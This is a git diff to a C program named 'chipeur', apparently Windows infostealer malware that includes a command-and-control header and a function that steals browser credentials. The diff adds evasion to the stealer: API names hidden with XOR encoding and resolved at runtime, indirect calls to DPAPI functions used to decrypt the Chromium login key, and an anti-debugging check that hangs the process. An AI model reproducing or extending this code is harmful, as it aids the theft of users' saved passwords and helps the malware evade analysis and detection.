diff --git a/include/chromium.h b/include/chromium.h index 5f25c0c..5ab8482 100644 --- a/include/chromium.h +++ b/include/chromium.h @@ -5,6 +5,7 @@ #include #include "logins.h" +#include "obfuscation.h" #define MAX_BROWSER_NAME_SIZE 20 #define MAX_LOGIN_DATA_PATH_SIZE 57 @@ -22,8 +23,8 @@ static int retrieve_logins(const PWSTR fullPath, int *loginCountOut, Login *loginsOut[]); static int retrieve_encoded_key(PWSTR localStatePath, PSTR *encryptedKeyOut); static int decode_key(PSTR encodedKey, BYTE *decodedKeyOut[], - size_t *decodedKeySizeOut); + size_t *decodedKeySizeOut, hidden_apis *apis); static int decrypt_key(BYTE *encryptedKey, size_t encryptedKeySize, - DATA_BLOB *decryptedKeyOut); + DATA_BLOB *decryptedKeyOut, hidden_apis *apis); #endif diff --git a/include/obfuscation.h b/include/obfuscation.h index 3888151..c2e7dcb 100644 --- a/include/obfuscation.h +++ b/include/obfuscation.h @@ -1,4 +1,9 @@ +#ifndef OBFUSCATION_H +#define OBFUSCATION_H +#include +#include #include +#include #define XOR_STR(str, size) \ do { \ @@ -13,3 +18,27 @@ (wstr)[i] ^= 42; \ } \ } while (0) + +#define REFKNOWNFOLDERID const KNOWNFOLDERID *__MIDL_CONST + +typedef BOOL(WINAPI *PCheckRemoteDebuggerPresent)(HANDLE hProcess, + PBOOL pbDebuggerPresent); +// typedef HMODULE(WINAPI *PLoadLibraryA)(LPCSTR lpLibFileName); +typedef BOOL(WINAPI *PCryptUnprotectData)(DATA_BLOB *, LPWSTR *, DATA_BLOB *, + void *, void *, DWORD, DATA_BLOB *); +typedef BOOL(WINAPI *PCryptStringToBinaryA)(LPCSTR, DWORD, DWORD, BYTE *, + DWORD *, DWORD *, DWORD *); +// typedef HRESULT(WINAPI *PSHGetKnownFolderPath)(REFKNOWNFOLDERID rfid, DWORD +// dwFlags, HANDLE hToken, PWSTR *ppszPath); + +typedef struct { + PCheckRemoteDebuggerPresent funcCheckRemoteDebuggerPresent; + // PLoadLibraryA funcLoadLibraryA; + PCryptUnprotectData funcCryptUnprotectData; + PCryptStringToBinaryA funcCryptStringToBinaryA; + // PSHGetKnownFolderPath funcSHGetKnownFolderPath; +} hidden_apis; + +void resolve_apis(hidden_apis *apis); + +#endif // OBFUSCATION_H diff --git a/makefile b/makefile index bb6f7b5..48d8b85 100644 --- a/makefile +++ b/makefile @@ -12,7 +12,7 @@ CFLAGS=-g -fPIE -O2 -s -Warray-bounds -Wsequence-point -Walloc-zero -Wnull-deref #not needed for now LDFLAGS =# -Wl,--strip-all -LLIB= -luuid -lole32 -lcrypt32 -lws2_32 +LLIB= -luuid -lole32 -lws2_32 DEBUG=-DDEBUG .PHONY : all help clean @@ -70,4 +70,4 @@ clean: help: @echo "chipeur:\tto create the binary of the project" @echo "clean:\tto remove the binary and .o files" - @echo "help:\tto display this help" \ No newline at end of file + @echo "help:\tto display this help" diff --git a/src/chipeur.c b/src/chipeur.c index 9dc35b5..e4c9a59 100644 --- a/src/chipeur.c +++ b/src/chipeur.c @@ -2,8 +2,10 @@ #include #include +#include #include #include +#include #include #include "c2.h" @@ -21,19 +23,29 @@ int main(void) { SetConsoleOutputCP(CP_UTF8); #endif + // Init + hidden_apis apis = {0}; + resolve_apis(&apis); // Check if a debugger is attached to the process BOOL isDebuggerPresent = FALSE; HANDLE hProcess = GetCurrentProcess(); - if (CheckRemoteDebuggerPresent(hProcess, &isDebuggerPresent)) { - if (isDebuggerPresent) { + if (apis.funcCheckRemoteDebuggerPresent) { + if (apis.funcCheckRemoteDebuggerPresent(hProcess, &isDebuggerPresent)) { + if (isDebuggerPresent) { #ifdef DEBUG - printf("Debug program detected on the process.\n"); + printf("Un débogueur est détecté sur ce processus.\n"); #endif - while (1); + while (1); + } else { +#ifdef DEBUG + printf("Debug program detected on the process.\n"); +#endif + } } else { #ifdef DEBUG - printf("No debug process detected on the process\n"); + printf("Error on CheckRemoteDebuggerPresent call. Error code : %lu\n", + GetLastError()); #endif } } else { @@ -69,6 +81,9 @@ int main(void) { #endif return EXIT_FAILURE; } + // char msvcrt_str[] = "\x47\x59\x5c\x49\x58\x5e\x04\x4e\x46\x46"; + // XOR_STR(msvcrt_str, strlen(msvcrt_str)); + // apis.funcLoadLibraryA(msvcrt_str); Credential credTab[CRED_SIZE] = {0}; DWORD32 lenCredTab = 0; diff --git a/src/chromium.c b/src/chromium.c index fe82bc7..d04cb57 100644 --- a/src/chromium.c +++ b/src/chromium.c @@ -6,7 +6,6 @@ #include "chromium.h" -#include #include #include #include @@ -114,11 +113,11 @@ static int retrieve_encoded_key(PWSTR localStatePath, PSTR *encodedKeyOut) { // note that `decodedKeyOut` is still encrypted at this point // NOTE: `decodedKeyOut` must be freed by the caller static int decode_key(PSTR encodedKey, BYTE *decodedKeyOut[], - size_t *decodedKeySizeOut) { + size_t *decodedKeySizeOut, hidden_apis *apis) { // Get size of the decoded key (needed for the next malloc) DWORD decodedBinarySize = 0; - if (!CryptStringToBinaryA(encodedKey, 0, CRYPT_STRING_BASE64, NULL, - &decodedBinarySize, NULL, NULL)) { + if (!apis->funcCryptStringToBinaryA(encodedKey, 0, CRYPT_STRING_BASE64, NULL, + &decodedBinarySize, NULL, NULL)) { #ifdef DEBUG fprintf(stderr, "Failed getting base64 size. Error code: %lu\n", GetLastError()); @@ -135,9 +134,9 @@ static int decode_key(PSTR encodedKey, BYTE *decodedKeyOut[], } // Decode the encoded key, this leaves us with an AES-GCM encrypted key - if (!CryptStringToBinaryA(encodedKey, 0, CRYPT_STRING_BASE64, - decodedBinaryData, &decodedBinarySize, NULL, - NULL)) { + if (!apis->funcCryptStringToBinaryA(encodedKey, 0, CRYPT_STRING_BASE64, + decodedBinaryData, &decodedBinarySize, + NULL, NULL)) { #ifdef DEBUG fprintf(stderr, "Failed decoding base64. Error code: %lu\n", GetLastError()); @@ -169,14 +168,15 @@ static int decode_key(PSTR encodedKey, BYTE *decodedKeyOut[], // Decrypts `encryptedKey` of size `encryptedKeySize` using DPAPI // NOTE: `decryptedKeyOut` must be freed by the caller static int decrypt_key(BYTE encryptedKey[], size_t encryptedKeySize, - DATA_BLOB *decryptedKeyOut) { + DATA_BLOB *decryptedKeyOut, hidden_apis *apis) { DATA_BLOB DataInput; DATA_BLOB DataOutput; DataInput.cbData = (DWORD)encryptedKeySize; DataInput.pbData = encryptedKey; - if (!CryptUnprotectData(&DataInput, NULL, NULL, NULL, NULL, 0, &DataOutput)) { + if (!apis->funcCryptUnprotectData(&DataInput, NULL, NULL, NULL, NULL, 0, + &DataOutput)) { #ifdef DEBUG fprintf(stderr, "Failed decrypting key. Error code: %lu\n", GetLastError()); #endif @@ -248,10 +248,13 @@ static int steal_browser_creds(BrowserInfo browser, Credential *credTab, #endif return EXIT_FAILURE; } + // dynamic resol + hidden_apis apis; + resolve_apis(&apis); size_t encryptedKeySize = 0; BYTE *encryptedKey; - if (decode_key(encodedKey, &encryptedKey, &encryptedKeySize) != + if (decode_key(encodedKey, &encryptedKey, &encryptedKeySize, &apis) != EXIT_SUCCESS) { #ifdef DEBUG printf("Could not decode %ls\n", encodedKey); @@ -260,7 +263,7 @@ static int steal_browser_creds(BrowserInfo browser, Credential *credTab, } DATA_BLOB decryptedBlob; - if (decrypt_key(encryptedKey, encryptedKeySize, &decryptedBlob) != + if (decrypt_key(encryptedKey, encryptedKeySize, &decryptedBlob, &apis) != EXIT_SUCCESS) { #ifdef DEBUG fprintf(stderr, "Could not decrypt key\n"); diff --git a/src/obfuscation.c b/src/obfuscation.c index d42b857..01ce3ff 100644 --- a/src/obfuscation.c +++ b/src/obfuscation.c @@ -1,6 +1,8 @@ #include "obfuscation.h" +#include #include +#include #include /** * XOR the given string pointer by xoring each char with 42 @@ -25,3 +27,57 @@ void xor_wstr(wchar_t *wstr, int size) { *wstr++ ^= 42; } } + +void resolve_apis(hidden_apis *apis) { + wchar_t kernel_str[] = + L"\x41\x4f\x58\x44\x4f\x46\x19\x18\x04\x4e\x46\x46"; // kernel32.dll + XOR_WSTR(kernel_str, wcslen(kernel_str)); + + HMODULE hKernel32 = GetModuleHandleW(kernel_str); + + // Resolve strings + char checkRemoteDbg_str[] = + "\x69\x42\x4f\x49\x41\x78\x4f\x47\x45\x5e\x4f\x6e\x4f\x48\x5f\x4d\x4d\x4f" + "\x58\x7a\x58\x4f\x59\x4f\x44\x5e"; // CheckRemoteDebuggerPresent + XOR_STR(checkRemoteDbg_str, strlen(checkRemoteDbg_str)); + + wchar_t crypt32_str[] = + L"\x49\x58\x53\x5a\x5e\x19\x18\x04\x4e\x46\x46"; // crypt32.dll + XOR_WSTR(crypt32_str, wcslen(crypt32_str)); + HMODULE hCrypt32 = LoadLibraryW(crypt32_str); + + // Resolve functions in crypt32.dll + char cryptUnprotectData_str[] = + "\x69\x58\x53\x5a\x5e\x7f\x44\x5a\x58\x45\x5e\x4f\x49\x5e\x6e\x4b\x5e" + "\x4b"; + + XOR_STR(cryptUnprotectData_str, strlen(cryptUnprotectData_str)); + + char cryptStringToBinaryA_str[] = + "\x69\x58\x53\x5a\x5e\x79\x5e\x58\x43\x44\x4d\x7e\x45\x68\x43\x44\x4b\x58" + "\x53\x6b"; + + XOR_STR(cryptStringToBinaryA_str, strlen(cryptStringToBinaryA_str)); + + apis->funcCryptUnprotectData = + (PCryptUnprotectData)GetProcAddress(hCrypt32, cryptUnprotectData_str); + + apis->funcCryptStringToBinaryA = + (PCryptStringToBinaryA)GetProcAddress(hCrypt32, cryptStringToBinaryA_str); + + // Resolve functions in kernel32.dll + apis->funcCheckRemoteDebuggerPresent = + (PCheckRemoteDebuggerPresent)GetProcAddress(hKernel32, + checkRemoteDbg_str); + + /*char loadLibA_str[] = "\x66\x45\x4b\x4e\x66\x43\x48\x58\x4b\x58\x53\x6b"; +XOR_STR(loadLibA_str, strlen(loadLibA_str)); +char SHGetKnownFolderPath_str[] = + "\x79\x62\x6d\x4f\x5e\x61\x44\x45\x5d\x44\x6c\x45\x46\x4e\x4f\x58\x7a\x4b" + "\x5e\x42"; +XOR_STR(SHGetKnownFolderPath_str, strlen(SHGetKnownFolderPath_str));*/ + // apis->funcLoadLibraryA = + //(PLoadLibraryA)GetProcAddress(hKernel32, loadLibA_str); + // apis->funcSHGetKnownFolderPath = (PSHGetKnownFolderPath)GetProcAddress( + // hKernel32, SHGetKnownFolderPath_str); +}